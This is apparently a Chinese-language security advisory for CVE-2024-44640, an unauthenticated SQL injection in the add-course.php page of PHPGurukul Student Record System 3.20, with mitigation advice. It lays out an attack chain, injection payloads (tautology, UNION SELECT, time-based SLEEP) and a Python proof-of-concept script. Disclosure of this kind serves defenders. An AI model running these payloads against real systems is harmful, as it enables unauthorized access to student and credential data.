IPBUF安全漏洞报告
English
CVE-2024-44640 CVSS 6.5 中危

CVE-2024-44640 PHPGurukul学生记录系统3.20 SQL注入漏洞

披露日期: 2025-11-14

漏洞信息

漏洞编号
CVE-2024-44640
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PHPGurukul Student Record System 3.20

相关标签

SQL注入PHPGurukul学生记录系统CVE-2024-44640Web应用安全数据库注入add-course.php无认证利用

漏洞概述

CVE-2024-44640是PHPGurukul学生记录系统3.20版本中的一个中等严重性SQL注入漏洞。该漏洞存在于add-course.php页面,攻击者可以通过course-short、course-full和cdate参数注入恶意SQL代码。由于该系统对用户输入验证不足,攻击者无需认证即可利用此漏洞获取数据库敏感信息,包括用户凭证、学生个人数据、课程信息等。此漏洞的CVSS评分为6.5,属于中等风险级别,攻击复杂度低且无需特殊权限或用户交互。攻击成功后可导致机密性和完整性受损,可能造成数据泄露或数据库被恶意篡改。建议受影响的用户尽快更新到安全版本或实施输入过滤和参数化查询等安全措施。

技术细节

该SQL注入漏洞存在于PHPGurukul学生记录系统的add-course.php文件中,具体受影响的参数包括course-short、course-full和cdate。攻击者可以通过在HTTP请求中构造恶意SQL payloads来绕过输入验证并执行任意SQL命令。由于系统未使用参数化查询或适当的输入过滤,攻击者可以利用UNION SELECT、布尔盲注或时间盲注等技术提取数据库中的敏感信息。攻击向量为网络路径(AV:N),无需认证(PR:N)即可发起攻击,成功利用后可读取数据库中的用户表、课程表等敏感数据。在某些配置下,攻击者甚至可能通过OUTFILE或INTO DUMPFILE等语句写入恶意文件,实现远程代码执行。

攻击链分析

STEP 1
步骤1
扫描目标系统识别PHPGurukul学生记录系统3.20版本
STEP 2
步骤2
访问add-course.php页面并识别可注入参数(course-short、course-full、cdate)
STEP 3
步骤3
构造恶意SQL注入payload,如' OR '1'='1或UNION SELECT语句
STEP 4
步骤4
通过HTTP POST请求发送注入载荷,无需任何认证
STEP 5
步骤5
利用盲注或联合查询技术提取数据库敏感信息
STEP 6
步骤6
获取用户凭证、学生数据等敏感信息,可能导致进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2024-44640 SQL Injection PoC # Target: PHPGurukul Student Record System 3.20 # Vulnerable Parameter: course-short, course-full, cdate def exploit_sqli(url, param): # Basic SQL injection test payload payload = "' OR '1'='1" target_url = f"{url}/add-course.php" data = { 'course-short': payload, 'course-full': payload, 'cdate': payload } try: response = requests.post(target_url, data=data, timeout=10) if 'sql' in response.text.lower() or 'error' in response.text.lower(): print(f"[+] Possible SQL Injection detected on parameter: {param}") return True except Exception as e: print(f"[-] Error: {e}") return False # Blind SQL injection to extract database version def blind_sqli(url): payload = "' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)---" target_url = f"{url}/add-course.php" data = { 'course-short': payload, 'course-full': 'Test Course', 'cdate': '2024-01-01' } try: response = requests.post(target_url, data=data, timeout=15) print(f"[*] Blind SQLi payload sent to {target_url}") except requests.exceptions.Timeout: print("[+] Blind SQL Injection confirmed - time-based blind injection works") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2024-44640.py <target_url>") sys.exit(1) target = sys.argv[1] print(f"[*] Testing CVE-2024-44640 on {target}") exploit_sqli(target, 'course-short') blind_sqli(target)

影响范围

PHPGurukul Student Record System 3.20

防御指南

临时缓解措施
在官方修复方案发布前,可采取以下临时措施:1) 在Web服务器层面部署输入过滤规则,拦截包含SQL关键字的请求;2) 对add-course.php页面实施访问控制,限制未授权用户访问;3) 使用ModSecurity等WAF工具添加SQL注入防护规则;4) 定期备份数据库并监控数据库访问日志;5) 考虑使用ORM框架重构相关代码,从根本上杜绝SQL注入风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表